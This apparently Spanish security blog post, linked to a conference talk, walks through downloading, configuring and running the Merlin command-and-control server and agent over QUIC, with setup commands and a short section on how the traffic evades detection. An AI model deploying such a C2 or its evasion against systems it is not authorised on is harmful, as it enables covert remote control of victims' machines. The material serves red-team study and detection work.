Muy buenas a todos, el pasado Viernes 24 de enero, mis compañeros Juan Antonio y Jesús participaron en Sh3llcon con su charla de "Next QUIC 2.0: Aún más rápido", en la cual pude contribuir un poco :P
Hoy os vengo a contar una de las demos que se presentaron en la charla sobre un C2 que funcionaba sobre QUIC, que como bien habéis podido ver en los posts anteriores de QUIC, es algo complicado de detectar sino se configura explícitamente. Así que sin demorarnos más... ¡Vamos a ello!
¿Qué es Merlin?
Merlin es una plataforma de Command & Control escrita en Go y creada por Ne0nd0g. Al estar escrita en Go, permite que los agentes desplegados puedan compilarse fácilmente en cualquier arquitectura mediante cross-compile. Merlín fue creado con la idea principal de utilizar tráfico HTTP/2 en la transmisión de comandos del servidor a los agentes, pero no fue hasta 2018 cuando se implementó el protocolo QUIC en la aplicación, ya que surgió de la librería quic-go.
En este post explicaremos cómo utilizarlo y configurarlo mediante las releases del proyecto, y si os gusta el proyecto, en posteriores posts os explicaremos cómo integrarlo con los módulos de Metasploit y compilar directamente los agentes desde su fuente :P
Descarga y configuración del Server y Agent
Suponiendo un entorno Linux de 64 bits, procederemos a descargar los 7z asociados en un entorno controlado. A fecha de escritura de este post, la última versión disponible es la 0.8.0 BETA, y como en todas las releases, la password del fichero 7z es: "merlin"
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z
Podemos descomprimirlos con 7z desde CLI (si lo tenemos instalado):
7z x merlinAgent-Linux-x64-v0.8.0.BETA.7z
7z x merlinServer-Linux-x64-v0.8.0.BETA.7z
Antes de poder iniciar nuestro servidor, deberemos generar un certificado X.509 para la comunicación. Nosotros lo hemos realizado con el siguiente comando, pero podéis sentiros libres de realizarlo con cualquier otro método :)
openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=letsvisit.flu" -days 30
Ejecutando el Server y el Cliente
Como habéis podido observar en la imagen anterior, basta simplemente con definir el protocolo a utilizar con el tag "proto" y la contraseña para la primera comunicación entre Agente y Servidor.
Podéis ejecutarlo sin necesidad de sudo siempre y cuando vuestra configuración lo permita, de igual forma os dejo por aquí el comando utilizado por si seguís este post a modo de tutorial ;)
sudo ./merlinServer-Linux-x64 -proto hq -psk L3t5v1s1tFlu
Para ejecutar el cliente, basta con definir en local el protocolo y la contraseña inicial.
./merlinAgent-Linux-x64 -proto hq -psk L3t5v1s1tFlu
En caso de que queráis probarlo en un entorno controlado de distintas máquinas y con otro puerto que no sea 443, siempre podéis hacerlo especificándolo con --url "https://zero.cool:1337", por ejemplo.
Let's Command and Control!
Una vez nuestro servidor esté a la espera de conexiones, solo deberemos lanzar el agente como hemos visto arriba, para poder hacer la verdadera magia:
A partir de este momento, identificamos que agente acabamos de recibir, pudiendo interactuar con él mediante su GUID. Para ello hacemos:
agent interact GUID
info
Y obtendremos la siguiente información:
En la captura podéis observar un tiempo de espera (Agent Wait Time) del agente para consultar al servidor si tiene operaciones que realizar para él. Por defecto son 30 segundos, lo cual es algo tedioso si queremos ejecutar comandos de manera rápida, así que lo estableceremos entre 3 y 5 segundos. Para ello, ejecutaremos una sentencia set, y un comando para verificar cómo acumula tareas nuestro agente:
Evasión
Si observamos el tráfico que han estado realizando Servidor y Agente, vemos que en todo momento se ha realizado sobre UDP y a su vez, sobre QUIC.
Espero que os haya gustado este post, y si queréis más posts sobre esta herramienta o cualquier otra escrita en Go (o Golang :P) no dudéis en compartirlo y hacérnoslo saber.
¡Un saludo!